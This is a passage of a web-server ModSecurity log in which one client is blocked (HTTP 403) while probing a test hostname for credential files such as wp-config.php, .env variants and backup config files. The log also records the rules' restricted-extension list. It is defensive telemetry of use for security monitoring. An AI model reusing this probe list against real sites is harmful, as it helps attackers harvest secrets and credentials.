&quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/test&quot;] [unique_id &quot;aGGC16AIGT5SiqI9BxP-ZAAAAAc&quot;]
[Sun Jun 29 20:15:51.955723 2025] [:error] [pid 3059541] [client 185.177.72.107:57080] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/test&quot;] [unique_id &quot;aGGC16AIGT5SiqI9BxP-ZAAAAAc&quot;]
[Sun Jun 29 20:15:51.955915 2025] [:error] [pid 3059541] [client 185.177.72.107:57080] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=5,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/test&quot;] [unique_id &quot;aGGC16AIGT5SiqI9BxP-ZAAAAAc&quot;]
[Sun Jun 29 20:15:51.976042 2025] [:error] [pid 3059541] [client 185.177.72.107:57080] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;wp-config.php&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: wp-config.php found within REQUEST_FILENAME: /admin/wp-config.php&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/wp-config.php&quot;] [unique_id &quot;aGGC16AIGT5SiqI9BxP-ZQAAAAc&quot;]
[Sun Jun 29 20:15:51.976290 2025] [:error] [pid 3059541] [client 185.177.72.107:57080] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/wp-config.php&quot;] [unique_id &quot;aGGC16AIGT5SiqI9BxP-ZQAAAAc&quot;]
[Sun Jun 29 20:15:51.976479 2025] [:error] [pid 3059541] [client 185.177.72.107:57080] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/wp-config.php&quot;] [unique_id &quot;aGGC16AIGT5SiqI9BxP-ZQAAAAc&quot;]
[Sun Jun 29 20:15:51.996646 2025] [:error] [pid 3059541] [client 185.177.72.107:57080] [client 185.177.72.107] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/wp-config.php.old&quot;] [unique_id &quot;aGGC16AIGT5SiqI9BxP-ZgAAAAc&quot;]
[Sun Jun 29 20:15:51.996806 2025] [:error] [pid 3059541] [client 185.177.72.107:57080] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;wp-config.php&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: wp-config.php found within REQUEST_FILENAME: /admin/wp-config.php.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/wp-config.php.old&quot;] [unique_id &quot;aGGC16AIGT5SiqI9BxP-ZgAAAAc&quot;]
[Sun Jun 29 20:15:51.997035 2025] [:error] [pid 3059541] [client 185.177.72.107:57080] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/wp-config.php.old&quot;] [unique_id &quot;aGGC16AIGT5SiqI9BxP-ZgAAAAc&quot;]
[Sun Jun 29 20:15:51.997221 2025] [:error] [pid 3059541] [client 185.177.72.107:57080] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/wp-config.php.old&quot;] [unique_id &quot;aGGC16AIGT5SiqI9BxP-ZgAAAAc&quot;]
[Sun Jun 29 20:15:52.038587 2025] [:error] [pid 3059541] [client 185.177.72.107:57080] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /ansible/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ansible/.env&quot;] [unique_id &quot;aGGC2KAIGT5SiqI9BxP-aAAAAAc&quot;]
[Sun Jun 29 20:15:52.038830 2025] [:error] [pid 3059541] [client 185.177.72.107:57080] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ansible/.env&quot;] [unique_id &quot;aGGC2KAIGT5SiqI9BxP-aAAAAAc&quot;]
[Sun Jun 29 20:15:52.039023 2025] [:error] [pid 3059541] [client 185.177.72.107:57080] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ansible/.env&quot;] [unique_id &quot;aGGC2KAIGT5SiqI9BxP-aAAAAAc&quot;]
[Sun Jun 29 20:15:52.059126 2025] [:error] [pid 3059541] [client 185.177.72.107:57080] [client 185.177.72.107] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.conf&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/apache.conf&quot;] [unique_id &quot;aGGC2KAIGT5SiqI9BxP-aQAAAAc&quot;]
[Sun Jun 29 20:15:52.059472 2025] [:error] [pid 3059541] [client 185.177.72.107:57080] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/apache.conf&quot;] [unique_id &quot;aGGC2KAIGT5SiqI9BxP-aQAAAAc&quot;]
[Sun Jun 29 20:15:52.059663 2025] [:error] [pid 3059541] [client 185.177.72.107:57080] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/apache.conf&quot;] [unique_id &quot;aGGC2KAIGT5SiqI9BxP-aQAAAAc&quot;]
[Sun Jun 29 20:15:52.101260 2025] [:error] [pid 3059541] [client 185.177.72.107:57080] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /api-gateway/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api-gateway/.env&quot;] [unique_id &quot;aGGC2KAIGT5SiqI9BxP-awAAAAc&quot;]
[Sun Jun 29 20:15:52.101490 2025] [:error] [pid 3059541] [client 185.177.72.107:57080] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api-gateway/.env&quot;] [unique_id &quot;aGGC2KAIGT5SiqI9BxP-awAAAAc&quot;]
[Sun Jun 29 20:15:52.101705 2025] [:error] [pid 3059541] [client 185.177.72.107:57080] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api-gateway/.env&quot;] [unique_id &quot;aGGC2KAIGT5SiqI9BxP-awAAAAc&quot;]
[Sun Jun 29 20:15:52.142793 2025] [:error] [pid 3059541] [client 185.177.72.107:57080] [client 185.177.72.107] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api-gateway/.env.bak&quot;] [unique_id &quot;aGGC2KAIGT5SiqI9BxP-bAAAAAc&quot;]
[Sun Jun 29 20:15:52.142956 2025] [:error] [pid 3059541] [client 185.177.72.107:57080] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /api-gateway/.env.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api-gateway/.env.bak&quot;] [unique_id &quot;aGGC2KAIGT5SiqI9BxP-bAAAAAc&quot;]
[Sun Jun 29 20:15:52.143180 2025] [:error] [pid 3059541] [client 185.177.72.107:57080] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api-gateway/.env.bak&quot;] [unique_id &quot;aGGC2KAIGT5SiqI9BxP-bAAAAAc&quot;]
[Sun Jun 29 20:15:52.143383 2025] [:error] [pid 3059541] [client 185.177.72.107:57080] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api-gateway/.env.bak&quot;] [unique_id &quot;aGGC2KAIGT5SiqI9BxP-bAAAAAc&quot;]
[Sun Jun 29 20:15:52.238224 2025] [:error] [pid 3059541] [client 185.177.72.107:57080] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /api-gateway/.env.dev&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api-gateway/.env.dev&quot;] [unique_id &quot;aGGC2KAIGT5SiqI9BxP-bQAAAAc&quot;]
[Sun Jun 29 20:15:52.238506 2025] [:error] [pid 3059541] [client 185.177.72.107:57080] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api-gateway/.env.dev&quot;] [unique_id &quot;aGGC2KAIGT5SiqI9BxP-bQAAAAc&quot;]
[Sun Jun 29 20:15:52.238704 2025] [:error] [pid 3059541] [client 185.177.72.107:57080] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api-gateway/.env.dev&quot;] [unique_id &quot;aGGC2KAIGT5SiqI9BxP-bQAAAAc&quot;]
[Sun Jun 29 20:15:52.262610 2025] [:error] [pid 3059541] [client 185.177.72.107:57080] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /api-gateway/.env.local&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api-gateway/.env.local&quot;] [unique_id &quot;aGGC2KAIGT5SiqI9BxP-bgAAAAc&quot;]
[Sun Jun 29 20:15:52.262851 2025] [:error] [pid 3059541] [client 185.177.72.107:57080] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api-gateway/.env.local&quot;] [unique_id &quot;aGGC2KAIGT5SiqI9BxP-bgAAAAc&quot;]
[Sun Jun 29 20:15:52.263034 2025] [:error] [pid 3059541] [client 185.177.72.107:57080] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api-gateway/.env.local&quot;] [unique_id &quot;aGGC2KAIGT5SiqI9BxP-bgAAAAc&quot;]
[Sun Jun 29 20:16:08.494551 2025] [:error] [pid 2967922] [client 185.177.72.107:24744] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /api-gateway/.env.staging&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api-gateway/.env.staging&quot;] [unique_id &quot;aGGC6H3T5w8Ph4-X-hFF2wAAAAQ&quot;]
[Sun Jun 29 20:16:08.494806 2025] [:error] [pid 2967922] [client 185.177.72.107:24744] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api-gateway/.env.staging&quot;] [unique_id &quot;aGGC6H3T5w8Ph4-X-hFF2wAAAAQ&quot;]
[Sun Jun 29 20:16:08.494988 2025] [:error] [pid 2967922] [client 185.177.72.107:24744] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api-gateway/.env.staging&quot;] [unique_id &quot;aGGC6H3T5w8Ph4-X-hFF2wAAAAQ&quot;]
